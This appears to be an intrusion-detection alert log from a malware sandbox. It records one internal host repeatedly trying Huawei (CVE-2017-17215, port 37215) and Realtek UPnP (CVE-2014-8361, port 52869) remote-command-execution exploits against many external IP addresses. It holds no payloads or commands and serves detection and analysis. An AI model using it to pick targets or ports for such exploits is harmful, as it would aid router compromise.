ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.226.131.148

Timestamp:	07/20/24-23:01:11.480465
SID:	2829579
Source Port:	34066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.160.114.28

Timestamp:	07/20/24-23:01:14.440842
SID:	2829579
Source Port:	45696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.34.34.12

Timestamp:	07/20/24-23:01:02.407253
SID:	2835222
Source Port:	42316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 164.82.176.136

Timestamp:	07/20/24-23:01:24.460502
SID:	2025132
Source Port:	59808
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.185.100.168

Timestamp:	07/20/24-23:01:07.668267
SID:	2835222
Source Port:	50852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.102.18.57

Timestamp:	07/20/24-23:01:07.676384
SID:	2835222
Source Port:	44826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 108.92.57.223

Timestamp:	07/20/24-23:01:07.658956
SID:	2835222
Source Port:	49118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.10.3.139

Timestamp:	07/20/24-23:01:07.676384
SID:	2835222
Source Port:	50300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 64.61.21.55

Timestamp:	07/20/24-23:01:06.267322
SID:	2025132
Source Port:	47368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.33.204.45

Timestamp:	07/20/24-23:01:25.231958
SID:	2829579
Source Port:	45626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 147.31.96.80

Timestamp:	07/20/24-23:01:23.070940
SID:	2025132
Source Port:	59694
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 94.216.126.93

Timestamp:	07/20/24-23:01:25.301934
SID:	2027339
Source Port:	34792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.82.199.168

Timestamp:	07/20/24-23:01:05.920528
SID:	2829579
Source Port:	57084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 66.133.8.3

Timestamp:	07/20/24-23:01:02.410515
SID:	2835222
Source Port:	51542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 189.27.2.190

Timestamp:	07/20/24-23:01:34.964842
SID:	2027339
Source Port:	35474
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.24.63.141

Timestamp:	07/20/24-23:01:37.167957
SID:	2835222
Source Port:	39104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 211.247.22.129

Timestamp:	07/20/24-23:01:06.908121
SID:	2025132
Source Port:	47792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.22.177.233

Timestamp:	07/20/24-23:01:25.285323
SID:	2835222
Source Port:	48382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.153.186.108

Timestamp:	07/20/24-23:01:02.414527
SID:	2835222
Source Port:	45068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.212.84.221

Timestamp:	07/20/24-23:01:25.291116
SID:	2829579
Source Port:	45412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 38.255.110.243

Timestamp:	07/20/24-23:01:34.935674
SID:	2027339
Source Port:	40052
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.42.235.139

Timestamp:	07/20/24-23:01:14.406708
SID:	2835222
Source Port:	44444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 38.32.235.210

Timestamp:	07/20/24-23:01:06.667915
SID:	2025132
Source Port:	49462
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 119.229.5.254

Timestamp:	07/20/24-23:01:29.504220
SID:	2025132
Source Port:	57614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.103.42.133

Timestamp:	07/20/24-23:01:07.676921
SID:	2829579
Source Port:	51308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 88.254.0.55

Timestamp:	07/20/24-23:01:34.937254
SID:	2831300
Source Port:	54284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.101.161.185

Timestamp:	07/20/24-23:01:07.680629
SID:	2829579
Source Port:	59132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 191.124.131.163

Timestamp:	07/20/24-23:01:13.330072
SID:	2831300
Source Port:	45144
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.32.220.2

Timestamp:	07/20/24-23:01:07.668267
SID:	2829579
Source Port:	34962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 94.243.104.87

Timestamp:	07/20/24-23:01:25.280461
SID:	2835222
Source Port:	49396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 212.240.183.0

Timestamp:	07/20/24-23:01:05.896134
SID:	2835222
Source Port:	49348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.248.220.216

Timestamp:	07/20/24-23:01:02.415804
SID:	2835222
Source Port:	47970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 145.28.17.66

Timestamp:	07/20/24-23:01:34.935674
SID:	2831300
Source Port:	41694
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 64.178.194.185

Timestamp:	07/20/24-23:01:32.359729
SID:	2025132
Source Port:	56644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.80.60.235

Timestamp:	07/20/24-23:01:02.410515
SID:	2835222
Source Port:	48420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.191.107.82

Timestamp:	07/20/24-23:01:22.779210
SID:	2829579
Source Port:	43286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 102.187.245.19

Timestamp:	07/20/24-23:01:25.287093
SID:	2835222
Source Port:	55486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.29.142.28

Timestamp:	07/20/24-23:01:37.208725
SID:	2829579
Source Port:	51508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 105.210.78.187

Timestamp:	07/20/24-23:01:25.291636
SID:	2835222
Source Port:	48330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 122.53.137.158

Timestamp:	07/20/24-23:01:37.122115
SID:	2829579
Source Port:	46258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.173.238.68

Timestamp:	07/20/24-23:01:11.472603
SID:	2835222
Source Port:	60006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.225.1.100

Timestamp:	07/20/24-23:01:14.407392
SID:	2829579
Source Port:	60814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.203.191.120

Timestamp:	07/20/24-23:01:19.221490
SID:	2829579
Source Port:	40510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 149.86.2.31

Timestamp:	07/20/24-23:01:05.812829
SID:	2027339
Source Port:	42766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.63.147.250

Timestamp:	07/20/24-23:01:37.121609
SID:	2829579
Source Port:	50782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.177.182.89

Timestamp:	07/20/24-23:01:05.896134
SID:	2829579
Source Port:	43030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.95.181.167

Timestamp:	07/20/24-23:01:19.225050
SID:	2829579
Source Port:	54664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 9.55.208.82

Timestamp:	07/20/24-23:01:30.874795
SID:	2027339
Source Port:	60010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.51.85.189

Timestamp:	07/20/24-23:01:25.284909
SID:	2835222
Source Port:	34422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 221.232.156.2

Timestamp:	07/20/24-23:01:05.911929
SID:	2835222
Source Port:	47550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 93.150.15.52

Timestamp:	07/20/24-23:01:24.474342
SID:	2027339
Source Port:	34730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 84.193.36.239

Timestamp:	07/20/24-23:01:29.186915
SID:	2027339
Source Port:	44608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.239.228.171

Timestamp:	07/20/24-23:01:02.411903
SID:	2835222
Source Port:	49206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.172.117.241

Timestamp:	07/20/24-23:01:11.454991
SID:	2835222
Source Port:	37672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 34.229.213.173

Timestamp:	07/20/24-23:01:11.477507
SID:	2835222
Source Port:	43184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 35.112.217.187

Timestamp:	07/20/24-23:01:06.656946
SID:	2027339
Source Port:	50930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 194.223.113.142

Timestamp:	07/20/24-23:01:29.175082
SID:	2831300
Source Port:	42712
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.6.153.64

Timestamp:	07/20/24-23:01:28.200134
SID:	2835222
Source Port:	55204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 17.93.26.147

Timestamp:	07/20/24-23:01:29.173099
SID:	2831300
Source Port:	47962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.56.204.138

Timestamp:	07/20/24-23:01:05.920730
SID:	2829579
Source Port:	59830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 126.63.129.65

Timestamp:	07/20/24-23:01:13.333893
SID:	2831300
Source Port:	47904
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 70.231.21.112

Timestamp:	07/20/24-23:01:34.920034
SID:	2831300
Source Port:	35826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 17.191.17.248

Timestamp:	07/20/24-23:01:25.283485
SID:	2829579
Source Port:	50314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.139.107.156

Timestamp:	07/20/24-23:01:19.235468
SID:	2835222
Source Port:	46406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.137.250.99

Timestamp:	07/20/24-23:01:28.216939
SID:	2835222
Source Port:	60942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 67.242.247.76

Timestamp:	07/20/24-23:01:07.672387
SID:	2829579
Source Port:	37058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.17.71.182

Timestamp:	07/20/24-23:01:02.414687
SID:	2829579
Source Port:	37178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.174.38.103

Timestamp:	07/20/24-23:01:37.227564
SID:	2829579
Source Port:	44818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 178.57.58.147

Timestamp:	07/20/24-23:01:13.333560
SID:	2027339
Source Port:	32952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 80.101.241.103

Timestamp:	07/20/24-23:01:37.214680
SID:	2835222
Source Port:	53426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 193.152.255.240

Timestamp:	07/20/24-23:01:24.602041
SID:	2027339
Source Port:	45916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 40.39.6.95

Timestamp:	07/20/24-23:01:34.958933
SID:	2027339
Source Port:	59908
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 52.100.4.60

Timestamp:	07/20/24-23:01:31.972321
SID:	2027339
Source Port:	39046
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 160.6.169.188

Timestamp:	07/20/24-23:01:28.175716
SID:	2829579
Source Port:	51940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.133.177.131

Timestamp:	07/20/24-23:01:11.448569
SID:	2829579
Source Port:	51336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 62.62.247.176

Timestamp:	07/20/24-23:01:06.119272
SID:	2027339
Source Port:	46042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.217.208.13

Timestamp:	07/20/24-23:01:33.049931
SID:	2829579
Source Port:	35326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 134.20.23.71

Timestamp:	07/20/24-23:01:25.476330
SID:	2025132
Source Port:	48734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.134.152.208

Timestamp:	07/20/24-23:01:28.143994
SID:	2835222
Source Port:	42482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 143.52.168.238

Timestamp:	07/20/24-23:01:14.452336
SID:	2835222
Source Port:	38716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 142.216.142.217

Timestamp:	07/20/24-23:01:34.958511
SID:	2027339
Source Port:	48284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.228.120.64

Timestamp:	07/20/24-23:01:05.898214
SID:	2829579
Source Port:	51316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.166.90.82

Timestamp:	07/20/24-23:01:37.158916
SID:	2829579
Source Port:	38598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.87.163.161

Timestamp:	07/20/24-23:01:19.221345
SID:	2835222
Source Port:	54808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 31.90.157.252

Timestamp:	07/20/24-23:01:13.330275
SID:	2831300
Source Port:	40028
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 94.133.203.252

Timestamp:	07/20/24-23:01:24.736868
SID:	2027339
Source Port:	38976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.118.97.45

Timestamp:	07/20/24-23:01:33.040755
SID:	2829579
Source Port:	44712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.8.221.215

Timestamp:	07/20/24-23:01:37.199306
SID:	2829579
Source Port:	42420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.112.125.130

Timestamp:	07/20/24-23:01:37.227564
SID:	2835222
Source Port:	33906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 101.191.129.126

Timestamp:	07/20/24-23:01:13.330072
SID:	2027339
Source Port:	34968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.168.88.200

Timestamp:	07/20/24-23:01:22.736743
SID:	2835222
Source Port:	56192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 27.2.47.157

Timestamp:	07/20/24-23:01:33.510703
SID:	2025132
Source Port:	46102
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 24.11.27.243

Timestamp:	07/20/24-23:01:11.480465
SID:	2829579
Source Port:	32918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 110.189.251.29

Timestamp:	07/20/24-23:01:33.475941
SID:	2027339
Source Port:	34302
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 59.155.45.17

Timestamp:	07/20/24-23:01:34.910407
SID:	2027339
Source Port:	41156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.69.199.211

Timestamp:	07/20/24-23:01:05.895754
SID:	2835222
Source Port:	38070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 135.98.136.137

Timestamp:	07/20/24-23:01:29.171040
SID:	2027339
Source Port:	39946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 128.10.172.66

Timestamp:	07/20/24-23:01:29.555558
SID:	2027339
Source Port:	34830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.200.191.255

Timestamp:	07/20/24-23:01:19.224455
SID:	2829579
Source Port:	33632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.81.117.241

Timestamp:	07/20/24-23:01:02.408597
SID:	2829579
Source Port:	55560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.249.151.109

Timestamp:	07/20/24-23:01:02.409019
SID:	2829579
Source Port:	38188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

